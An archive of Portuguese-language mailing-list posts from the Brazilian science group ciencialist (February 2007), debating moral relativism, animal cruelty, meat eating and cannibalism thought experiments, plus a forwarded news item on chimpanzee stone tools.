> > pouco como a religião. Como uma certeza cega e tudo
> mais. Mas também não
> > acredito que isso contamine a essência, o método em si.
> >
> > Só o fato de qualquer cientista, por definição, estar
> aberto a
> > contestações
> > às suas concepções, se comprováveis por experimentação
> e observação, já
> > corrige parte destes problemas e direciona o processo.
> >
> > Repare que quando alguém publica algum artigo com algo
> novo,
> > metodologicamente correto e tudo mais, a comunidade,
> mesmo que
> > "contagiada"
> > pela idéia, sempre fica ainda um pouco receosa. O que é
> um bom sinal. Só
> > depois que diversos grupos ratificam os resultados em
> estudos
> > independentes
> > é que um novo conceito ganha realmente notoriedade e
> maior credibilidade.
> > Isso introduz, inclusive, uma correção estatística dos
> erros de observação
> > e
> > interpretação. Não elimina os erros do processo, é
> claro, mas esse
> > mecanismo
> > além de eficiente é realmente muito bonito. Acho bonito
> mesmo. Uma grande
> > engrenagem empurrando o conhecimento humano adiante,
> apesar de todos
> > problemas inerentes ao "design" do próprio ser humano.
> >
> > Resumindo: não acho que os problemas, perceptivos ou
> não, de cientistas
> > possam comprometer a ciência em si. Atrapalham um
> pouco, mas a ciência tem
> > mecanismos que ajudam a corrigir o curso, em pleno vôo.
> >
> > Grande abraço,
> >
> > Ricardo
> >
> > ----- Original Message -----
> > From: "Sérgio" <anaximao@yahoo.com.br>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, February 10, 2007 7:10 AM
> > Subject: Re: [ciencialist] OFF Topic: a questão da
> carne - objetividade
> >
> >
> >> Olá Ricardo,
> >>
> >> Voce disse que não concordava, mas a sua argumentação
> >> parece que foi mais na direção do que eu disse do que
> outra
> >> coisa. Pois vc relativizou o estatuto da experiencia,
> da
> >> observação etc.
> (deletei o restante)
>
>








"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 12:32

Além da adaptação pela seleção natural, existe uma "adaptação"
temporária ao frio sim. É o condicionamento Ex; Jogadores brasileiros
tem um jogo marcado na Alemanha, aí eles resolvem treinar em porto
Alegre ou Santa Catarina(no inverno). Msmo se eles foram para a
Alemanha, de pois de um certo tempo lá, o organismo se
adapta(condicionamento) as novas condições de modo temporário

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Jefferson" <jeff@...> escreveu
>
> >
> >O que que é isso?
> >Jamais nos adaptamos ao frio? Nenhum animal o fez?
> >
>
> Ele quis dizer que não se adapta, é selecionado. Dizer que um ser se
adapta,
> dá a impressão de que ele desejou isso, o que não é verdade.
>
> []',s
> Jeff.
>




SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 13:30

Fico pouco tempo no PC , as vezes o "flood" dessa
lista assusta!!!

Aí vai uma perguntinha:

Qual o principio que faz com que haja punição caso se
mate algum ser humano ???


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 13:31

> Por que couro de gente não tem valor comercial!

Voce esqueceu do valor gastronômico!!! :p

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SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 13:38


> Você não sabe? Mesmo?
Se eu soubesse de verdade não perguntava. Você sabe??


> A tua sugestão deve horrorizar as pessoas, já
> pensou?

E isso é motivo para não se matar?? Como diria Brudna,
que coisa emotivoide!!

Voce já se perguntou por que as leis são da forma que
são???


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 14:01

> Mas se não é
> divulgado, tudo bem! O
> que os olhos dos outros não vêem o que cometi, os
> corações piedosos nada
> sentem... E assim caminha a humanidade, nos
> enganando de que essa cultura da
> crueldade, mantida em segredo nas nossas atitudes
> pessoais e decisões
> particulares, só existe vez por outra, quando
> aparece em fotos chocantes nas
> manchetes dos jornais e nas imagens da TV.

Jose Renato, começou a aparecer alguma coisa
interessante nos seus comentários embora Homero o
critique.
Não devo agir mal porque não sou burro já que agindo
mal de alguma forma serei punido por isso. Se é esse o
príncipio que norteia o comportamento da nossa
sociedade então se eu conseguir evitar essa punição,
tudo me é permitido. Maridos e esposas desta lista,
traiam a vontade!!!Desde que façam de uma forma que
não sejam pegos. Filhos que lêem essa mensagem podem
roubar dinheiro da carteira de seus pais desde que
eles não percebam!!!
Isso é ético???




"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 14:10

A que e-mail se refere esse seu retorno? Seria possível ter a especial gentileza de manter a pergunta original? Essas sperguntas suas me lembram muito um trator verbal que passou por aquí, o Marcelo Ferrari. Os da plebe, aqui de baixo, agradecem.

Sds,
Victor.


----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 12:38 PM
Subject: Re: [ciencialist] Re: Crueldade com animais



> Você não sabe? Mesmo?
Se eu soubesse de verdade não perguntava. Você sabe??

> A tua sugestão deve horrorizar as pessoas, já
> pensou?

E isso é motivo para não se matar?? Como diria Brudna,
que coisa emotivoide!!

Voce já se perguntou por que as leis são da forma que
são???

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 14:10

Putz!

Sds,
Victor.



----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 12:31 PM
Subject: Re: [ciencialist] Crueldade com animais


> Por que couro de gente não tem valor comercial!

Voce esqueceu do valor gastronômico!!! :p

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] P/ Chicao - Por que não comer seres humanos? (era Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 14:14

Homero é exatamente essa reflexão que quero provocar.
E quem sabe se chegar a um denominador comum??
Só não tenho o tempo que voces possuem para inundar
essa lista.

Obrigado.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> Chicão: "Por que nao posso fazer isso com um
> humano???
> Minha pergunta é simples mas ninguem responde.
> Por que será???"
>
> Sua pergunta está longe, muito longe, de ser
> simples..:-) Ela é curta, certamente, mas simples,
> de jeito nenhum.
>
> Mesmo assim é possível encontrar diferentes
> respostas, em diferentes níveis. Como toda pergunta
> falsamente simples, ela toca em aspectos diversos e
> permite diversas formas de ser analisada.


"O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 14:28

Victor, não sei se voce notou mas quase todas as
situações apontadas são extremas. È bem diferente,
talvez da sua quando está confortavelmente posicionado
a mesa degustando um suculento bife, não acha???


--- jvictor <jvoneto@uol.com.br> escreveu:

> Chicão,
>
> ----- Original Message -----
> From: Chicao Valadares
> To: ciencialist@yahoogrupos.com.br
> Sent: Monday, February 12, 2007 9:59 AM
> Subject: Re: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>
>
> Victor:> Como carne, de preferência carne branca.
> É verdade,
> >inegável, que essa coisa de matar para comer, se
> >pensar direitinho, pode mexer um pouco com nossa
> ética >pessoal que, como a
> >verdade pessoal, é um conceito relativo.
>
> Chicão: Existe moral universal??
>
> Victor>> Não me referí a moral. De qualquer
> maneira, não existe uma moral universal. Ela é
> igualmente relativa, depende só da geografia. É como
> religião.
>
> Quanto à ética, como a discutida na thread
> encabeçada por Bruna, um exemplo poderá esclarecer o
> que penso a respeito da maleabilidade de conceitos
> do tipo:
>
> 1)Você está perdido numa floresta, com seus
> filhos. O frio é intenso, a tropa vai morrer de
> frio, se não houver uma providência. De repente, um
> belo e sedoso urso surge por trás de um monte. Pele
> lisinha,lisinha. Que poderá aquecer e salvar os
> filhos. De minha parte, eu não teria dúvidas:
> apontaria meu canhão ponto 50 para a testa do tal, e
> bum!. Retiraria sua pele e salvaria meus filhos.
> Onde está a falta de ética ou moral, nesse caso.
>
> 2) Você está na floresta, mas não está perdido. Vê
> o urso. E pensa: aquela pele deve valer um bom
> dinheiro; além disso, agradaria minha gata. E bum!,
> no urso.
>
> E agora, como fica a moral e a ética, se comparada
> ao caso anterior? Em ambos os casos, um animal foi
> morto e sua pele usada para duas finalidades!. Em
> qual dos casos o autor do bum! deveria ser
> condenado?
>
> 3) Você não tem frio, é verão,mas está perdido na
> floresta e seus filhos morrendo de fome. Não há nem
> uma folhinha comestível num raio de vários
> kilometros. Aparece o tal urso, gordinho,
> gordinho(digamos que sua carne possa ser ingerida,
> nunca ouvi falar não, mas admitamos isso. Se quiser,
> substitua o urso por uma vaca bonita, gordinha
> também). Eu, mais uma vez, não teria dúvidas, bum.
> Um foguerinha(ou não) salvaria minha tropa.
>
> Onde está a quebra de moral e ética aqui? Deveria
> ser escafedido por isso, ou discriminado?
>
> Os dois conceitos, portanto, são relativos, e a
> conceituação fica a depender de vários fatores.
> Nenhum dos conceitos é absoluto, ou universal.
>
> Victor> Mas é o tal caso, assume-se que é uma
> consequência
> do > próprio processo de vida, de subsistência.
> Está
> >intimamente ligada à natureza das coisas. E são
> > processos, apenas processos. Que têm relações
> > causais, evidentemente.
>
> Chicão: Por que eu não posso matar pessoas para se
> alimentar,
> já que faz parte do processo de alimentação???
>
> Victor: Bem, acho que a pergunta ficou meio fora
> do contexto em discussão. Mas posso comentar algo.
> Matar propriamente, não. Mas há casos, em nossa
> sociedade não canibal (assim mesmo o canibalismo tem
> uma origem que aponta para um uso ritualístico, em
> função, em geral, da geografia e das crenças
> daquela sociedade; muito menos por necessidades
> orgânicas, e muitas das vezes como um tributo ao
> guerreiro morto, ou para comemorar algo,como uma
> vitória, ou para mendigar beneíficios da divindade
> da tribo), moderna, onde houve a necessidade de
> ingerir carne humana, de amigos e colegas já mortos,
> como única alternativa em defesa de suas vidas. Há
> um caso famoso, de um avião que caiu nos Andes,
> década de 60,acho. Aquelas pessoas faltaram com a
> ética, alí? Ou com a moral? O que você faria? Acho
> que agiram em defesa de da vida. Mesmo assim, até
> onde sei, foram estigmatizados, os que lograram sair
> daquele inferno gelado. Particularmente, não os
> condeno por isso. Agiram dentro de um esquema para o
> qual não havia saída. Aliás,havia uma única: o
> suicídio. Aí você seria o prato do dia! Se correr o
> bicho pega, se ficar, o bicho come.
>
> Particularmente, não sei o que faria. A ocasião é
> que diria, se eu seria comido(epa, epa, no sentido
> alimentar), se a ética e a moral falassem mais alto
> ou se comeria(idem,idem) alguém; Já pensou numa
> batata de perna de alguma gordinha bonita? Ôooh!
>
> A ocasião faz o bicho. Darwin até poderia dar uns
> pitáculos também, estou certo, depois de achar que
> as coisas são assim,na natureza.
>
> Sds,
> Victor.
>
>
> "O Binômio de Newton é tão belo como a Vênus de
> Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
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>
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SUBJECT: Re: [ciencialist] Re: Crueldade com animais
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 14:44

Chicao,

Você não tem incluído a mensagem original na tua resposta. Como tiveram
muitas mensagens neste assunto (com o mesmo nome), fica difícil saber do que
você está falando especificamente.

Entretanto, não sei se a dificuldade é só minha...

Um abraço,

Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 12:38 PM
Subject: Re: [ciencialist] Re: Crueldade com animais


>
>> Você não sabe? Mesmo?
> Se eu soubesse de verdade não perguntava. Você sabe??
>
>
>> A tua sugestão deve horrorizar as pessoas, já
>> pensou?
>
> E isso é motivo para não se matar?? Como diria Brudna,
> que coisa emotivoide!!
>
> Voce já se perguntou por que as leis são da forma que
> são???
>
>
> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
> _________________________________________________________________
> As informações existentes nessa mensagem e no(s) arquivo(s) anexado(s)
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SUBJECT: P/ Chicao - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 14:45

Olá Chicão

Chicão: "Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???"

Pois se são situações extremas e se as respostas a essas situações são
diferentes, então é mesmo uma questão relativa, sem absolutos. Sem
respostas únicas ou 100% corretas.

Serão sempre corretas, ou incorretas, dependendo do caso concreto e
das circunstâncias e mesmo da avaliação subjetiva dos envolvidos.

Acho que foi isso mesmo que o Vitor tentou explicar.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@...> escreveu:
>
> > Chicão,
> >
> > ----- Original Message -----
> > From: Chicao Valadares
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Monday, February 12, 2007 9:59 AM
> > Subject: Re: [ciencialist] As baratas, nossas
> > irmãzinhas!!! ( Era Re: Carne: enfim o método )
> >
> >
> > Victor:> Como carne, de preferência carne branca.
> > É verdade,
> > >inegável, que essa coisa de matar para comer, se
> > >pensar direitinho, pode mexer um pouco com nossa
> > ética >pessoal que, como a
> > >verdade pessoal, é um conceito relativo.
> >
> > Chicão: Existe moral universal??
> >
> > Victor>> Não me referí a moral. De qualquer
> > maneira, não existe uma moral universal. Ela é
> > igualmente relativa, depende só da geografia. É como
> > religião.
> >
> > Quanto à ética, como a discutida na thread
> > encabeçada por Bruna, um exemplo poderá esclarecer o
> > que penso a respeito da maleabilidade de conceitos
> > do tipo:
> >
> > 1)Você está perdido numa floresta, com seus
> > filhos. O frio é intenso, a tropa vai morrer de
> > frio, se não houver uma providência. De repente, um
> > belo e sedoso urso surge por trás de um monte. Pele
> > lisinha,lisinha. Que poderá aquecer e salvar os
> > filhos. De minha parte, eu não teria dúvidas:
> > apontaria meu canhão ponto 50 para a testa do tal, e
> > bum!. Retiraria sua pele e salvaria meus filhos.
> > Onde está a falta de ética ou moral, nesse caso.
> >
> > 2) Você está na floresta, mas não está perdido. Vê
> > o urso. E pensa: aquela pele deve valer um bom
> > dinheiro; além disso, agradaria minha gata. E bum!,
> > no urso.
> >
> > E agora, como fica a moral e a ética, se comparada
> > ao caso anterior? Em ambos os casos, um animal foi
> > morto e sua pele usada para duas finalidades!. Em
> > qual dos casos o autor do bum! deveria ser
> > condenado?
> >
> > 3) Você não tem frio, é verão,mas está perdido na
> > floresta e seus filhos morrendo de fome. Não há nem
> > uma folhinha comestível num raio de vários
> > kilometros. Aparece o tal urso, gordinho,
> > gordinho(digamos que sua carne possa ser ingerida,
> > nunca ouvi falar não, mas admitamos isso. Se quiser,
> > substitua o urso por uma vaca bonita, gordinha
> > também). Eu, mais uma vez, não teria dúvidas, bum.
> > Um foguerinha(ou não) salvaria minha tropa.
> >
> > Onde está a quebra de moral e ética aqui? Deveria
> > ser escafedido por isso, ou discriminado?
> >
> > Os dois conceitos, portanto, são relativos, e a
> > conceituação fica a depender de vários fatores.
> > Nenhum dos conceitos é absoluto, ou universal.
> >
> > Victor> Mas é o tal caso, assume-se que é uma
> > consequência
> > do > próprio processo de vida, de subsistência.
> > Está
> > >intimamente ligada à natureza das coisas. E são
> > > processos, apenas processos. Que têm relações
> > > causais, evidentemente.
> >
> > Chicão: Por que eu não posso matar pessoas para se
> > alimentar,
> > já que faz parte do processo de alimentação???
> >
> > Victor: Bem, acho que a pergunta ficou meio fora
> > do contexto em discussão. Mas posso comentar algo.
> > Matar propriamente, não. Mas há casos, em nossa
> > sociedade não canibal (assim mesmo o canibalismo tem
> > uma origem que aponta para um uso ritualístico, em
> > função, em geral, da geografia e das crenças
> > daquela sociedade; muito menos por necessidades
> > orgânicas, e muitas das vezes como um tributo ao
> > guerreiro morto, ou para comemorar algo,como uma
> > vitória, ou para mendigar beneíficios da divindade
> > da tribo), moderna, onde houve a necessidade de
> > ingerir carne humana, de amigos e colegas já mortos,
> > como única alternativa em defesa de suas vidas. Há
> > um caso famoso, de um avião que caiu nos Andes,
> > década de 60,acho. Aquelas pessoas faltaram com a
> > ética, alí? Ou com a moral? O que você faria? Acho
> > que agiram em defesa de da vida. Mesmo assim, até
> > onde sei, foram estigmatizados, os que lograram sair
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> > condeno por isso. Agiram dentro de um esquema para o
> > qual não havia saída. Aliás,havia uma única: o
> > suicídio. Aí você seria o prato do dia! Se correr o
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> >
> > Particularmente, não sei o que faria. A ocasião é
> > que diria, se eu seria comido(epa, epa, no sentido
> > alimentar), se a ética e a moral falassem mais alto
> > ou se comeria(idem,idem) alguém; Já pensou numa
> > batata de perna de alguma gordinha bonita? Ôooh!
> >
> > A ocasião faz o bicho. Darwin até poderia dar uns
> > pitáculos também, estou certo, depois de achar que
> > as coisas são assim,na natureza.
> >
> > Sds,
> > Victor.
> >
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> > "O Binômio de Newton é tão belo como a Vênus de
> > Milo.
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SUBJECT: [RN] IDADA DA PEDRA CHIMPANZE'
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 14:54

FOLHA ONLINE, 13-02-2007

GRUPO DESCOBRE 'IDADE DAS PEDRAS' DOS CHIMPANZES

Claudio Angelo

Um grupo internacional de pesquisadores descobriu em uma floresta da
Costa do Marfim um conjunto de ferramentas rudimentares de pedra com
4.300 anos de idade. Até aí, nada de excepcional. A novidade é que os
fabricantes dos instrumentos não foram caçadores-coletores humanos,
mas sim um bando de chimpanzés.

O achado, publicado hoje na revista "PNAS", muda o sentido da
expressão "Idade da Pedra" e faz os olhos dos interessados nas origens
do homem se voltarem às florestas tropicais do oeste africano, até
então preteridas em favor das savanas. (e)
http://www1.folha.uol.com.br/folha/ciencia/ult306u16001.shtml
-----------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 15:53

Como todo o respeito (mesmo), não vejo nada profundo nestes questionamentos
(sem nenhum menosprezo).

Quero dizer, pelo código de conduta implícito na moral da cultura da nossa
sociedade, não há nada demais em comer um bife, ou escravizar um cavalo para
usá-lo como transporte.

Em outras culturas é imoral matar uma vaca ou um mosquito. Em algumas é
moral comer um ser humano.

Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns filósofos
de uma ética universal, absoluta.

[]s
Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:28 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne:
enfim o método )


> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@uol.com.br> escreveu:
>
>> Chicão,
>>
>> ----- Original Message -----
>> From: Chicao Valadares
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Monday, February 12, 2007 9:59 AM
>> Subject: Re: [ciencialist] As baratas, nossas
>> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>>
>>
>> Victor:> Como carne, de preferência carne branca.
>> É verdade,
>> >inegável, que essa coisa de matar para comer, se
>> >pensar direitinho, pode mexer um pouco com nossa
>> ética >pessoal que, como a
>> >verdade pessoal, é um conceito relativo.
>>
>> Chicão: Existe moral universal??
>>
>> Victor>> Não me referí a moral. De qualquer
>> maneira, não existe uma moral universal. Ela é
>> igualmente relativa, depende só da geografia. É como
>> religião.
>>
>> Quanto à ética, como a discutida na thread
>> encabeçada por Bruna, um exemplo poderá esclarecer o
>> que penso a respeito da maleabilidade de conceitos
>> do tipo:
>>
>> 1)Você está perdido numa floresta, com seus
>> filhos. O frio é intenso, a tropa vai morrer de
>> frio, se não houver uma providência. De repente, um
>> belo e sedoso urso surge por trás de um monte. Pele
>> lisinha,lisinha. Que poderá aquecer e salvar os
>> filhos. De minha parte, eu não teria dúvidas:
>> apontaria meu canhão ponto 50 para a testa do tal, e
>> bum!. Retiraria sua pele e salvaria meus filhos.
>> Onde está a falta de ética ou moral, nesse caso.
>>
>> 2) Você está na floresta, mas não está perdido. Vê
>> o urso. E pensa: aquela pele deve valer um bom
>> dinheiro; além disso, agradaria minha gata. E bum!,
>> no urso.
>>
>> E agora, como fica a moral e a ética, se comparada
>> ao caso anterior? Em ambos os casos, um animal foi
>> morto e sua pele usada para duas finalidades!. Em
>> qual dos casos o autor do bum! deveria ser
>> condenado?
>>
>> 3) Você não tem frio, é verão,mas está perdido na
>> floresta e seus filhos morrendo de fome. Não há nem
>> uma folhinha comestível num raio de vários
>> kilometros. Aparece o tal urso, gordinho,
>> gordinho(digamos que sua carne possa ser ingerida,
>> nunca ouvi falar não, mas admitamos isso. Se quiser,
>> substitua o urso por uma vaca bonita, gordinha
>> também). Eu, mais uma vez, não teria dúvidas, bum.
>> Um foguerinha(ou não) salvaria minha tropa.
>>
>> Onde está a quebra de moral e ética aqui? Deveria
>> ser escafedido por isso, ou discriminado?
>>
>> Os dois conceitos, portanto, são relativos, e a
>> conceituação fica a depender de vários fatores.
>> Nenhum dos conceitos é absoluto, ou universal.
>>
>> Victor> Mas é o tal caso, assume-se que é uma
>> consequência
>> do > próprio processo de vida, de subsistência.
>> Está
>> >intimamente ligada à natureza das coisas. E são
>> > processos, apenas processos. Que têm relações
>> > causais, evidentemente.
>>
>> Chicão: Por que eu não posso matar pessoas para se
>> alimentar,
>> já que faz parte do processo de alimentação???
>>
>> Victor: Bem, acho que a pergunta ficou meio fora
>> do contexto em discussão. Mas posso comentar algo.
>> Matar propriamente, não. Mas há casos, em nossa
>> sociedade não canibal (assim mesmo o canibalismo tem
>> uma origem que aponta para um uso ritualístico, em
>> função, em geral, da geografia e das crenças
>> daquela sociedade; muito menos por necessidades
>> orgânicas, e muitas das vezes como um tributo ao
>> guerreiro morto, ou para comemorar algo,como uma
>> vitória, ou para mendigar beneíficios da divindade
>> da tribo), moderna, onde houve a necessidade de
>> ingerir carne humana, de amigos e colegas já mortos,
>> como única alternativa em defesa de suas vidas. Há
>> um caso famoso, de um avião que caiu nos Andes,
>> década de 60,acho. Aquelas pessoas faltaram com a
>> ética, alí? Ou com a moral? O que você faria? Acho
>> que agiram em defesa de da vida. Mesmo assim, até
>> onde sei, foram estigmatizados, os que lograram sair
>> daquele inferno gelado. Particularmente, não os
>> condeno por isso. Agiram dentro de um esquema para o
>> qual não havia saída. Aliás,havia uma única: o
>> suicídio. Aí você seria o prato do dia! Se correr o
>> bicho pega, se ficar, o bicho come.
>>
>> Particularmente, não sei o que faria. A ocasião é
>> que diria, se eu seria comido(epa, epa, no sentido
>> alimentar), se a ética e a moral falassem mais alto
>> ou se comeria(idem,idem) alguém; Já pensou numa
>> batata de perna de alguma gordinha bonita? Ôooh!
>>
>> A ocasião faz o bicho. Darwin até poderia dar uns
>> pitáculos também, estou certo, depois de achar que
>> as coisas são assim,na natureza.
>>
>> Sds,
>> Victor.
>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Alvaro Campos
>>
>>
>>
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>> arquivo(s) anexado(s)
>> são
>> para uso restrito, sendo seu sigilo protegido por
>> lei. Caso não seja
>> destinatário, saiba que leitura, divulgação ou
>> cópia são proibidas.
>> Favor
>> apagar as informações e notificar o remetente. O
>> uso impróprio será
>> tratado
>> conforme as normas da empresa e a legislação em
>> vigor. Agradecemos sua
>> colaboração.
>>
>> The information mentioned in this message and in
>> the archives attached
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>> of restricted use, and its privacy is protected by
>> law. If you are not
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>> addressee, be aware that reading, disclosure or
>> copy are forbidden.
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>> be
>> tracted according to company's rules and valid
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>> cooperation.
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>>
>> [As partes desta mensagem que não continham texto
>> foram removidas]
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> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
>
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> para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> destinatário, saiba que leitura, divulgação ou cópia são proibidas.
> Favor
> apagar as informações e notificar o remetente. O uso impróprio será
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> colaboração.
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SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/02/2007 16:04

Ricardo,

Você fechou claramente o que tentei expor com exemplos, centrados em circunstâncias igualmente claras. Moral, ética, religião, comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é de uma clareza, sobre o que não tenho dúvidas, o que me economiza o tempo de estar elaborando perguntas e mais perguntas. Minha realidade é minha realidade. A de outros, é a de outros. Que só depende do lugar e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina que eu, civilizado como penso que sou, tivesse nascido em uma tribo brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de perna, um... Se não fosse ela, seria eu. Bem, já almocei.

Sds,
Victor.

----- Original Message -----
From: Ricardo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 2:53 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Como todo o respeito (mesmo), não vejo nada profundo nestes questionamentos
(sem nenhum menosprezo).

Quero dizer, pelo código de conduta implícito na moral da cultura da nossa
sociedade, não há nada demais em comer um bife, ou escravizar um cavalo para
usá-lo como transporte.

Em outras culturas é imoral matar uma vaca ou um mosquito. Em algumas é
moral comer um ser humano.

Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns filósofos
de uma ética universal, absoluta.

[]s
Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:28 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne:
enfim o método )

> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@uol.com.br> escreveu:
>
>> Chicão,
>>
>> ----- Original Message -----
>> From: Chicao Valadares
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Monday, February 12, 2007 9:59 AM
>> Subject: Re: [ciencialist] As baratas, nossas
>> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>>
>>
>> Victor:> Como carne, de preferência carne branca.
>> É verdade,
>> >inegável, que essa coisa de matar para comer, se
>> >pensar direitinho, pode mexer um pouco com nossa
>> ética >pessoal que, como a
>> >verdade pessoal, é um conceito relativo.
>>
>> Chicão: Existe moral universal??
>>
>> Victor>> Não me referí a moral. De qualquer
>> maneira, não existe uma moral universal. Ela é
>> igualmente relativa, depende só da geografia. É como
>> religião.
>>
>> Quanto à ética, como a discutida na thread
>> encabeçada por Bruna, um exemplo poderá esclarecer o
>> que penso a respeito da maleabilidade de conceitos
>> do tipo:
>>
>> 1)Você está perdido numa floresta, com seus
>> filhos. O frio é intenso, a tropa vai morrer de
>> frio, se não houver uma providência. De repente, um
>> belo e sedoso urso surge por trás de um monte. Pele
>> lisinha,lisinha. Que poderá aquecer e salvar os
>> filhos. De minha parte, eu não teria dúvidas:
>> apontaria meu canhão ponto 50 para a testa do tal, e
>> bum!. Retiraria sua pele e salvaria meus filhos.
>> Onde está a falta de ética ou moral, nesse caso.
>>
>> 2) Você está na floresta, mas não está perdido. Vê
>> o urso. E pensa: aquela pele deve valer um bom
>> dinheiro; além disso, agradaria minha gata. E bum!,
>> no urso.
>>
>> E agora, como fica a moral e a ética, se comparada
>> ao caso anterior? Em ambos os casos, um animal foi
>> morto e sua pele usada para duas finalidades!. Em
>> qual dos casos o autor do bum! deveria ser
>> condenado?
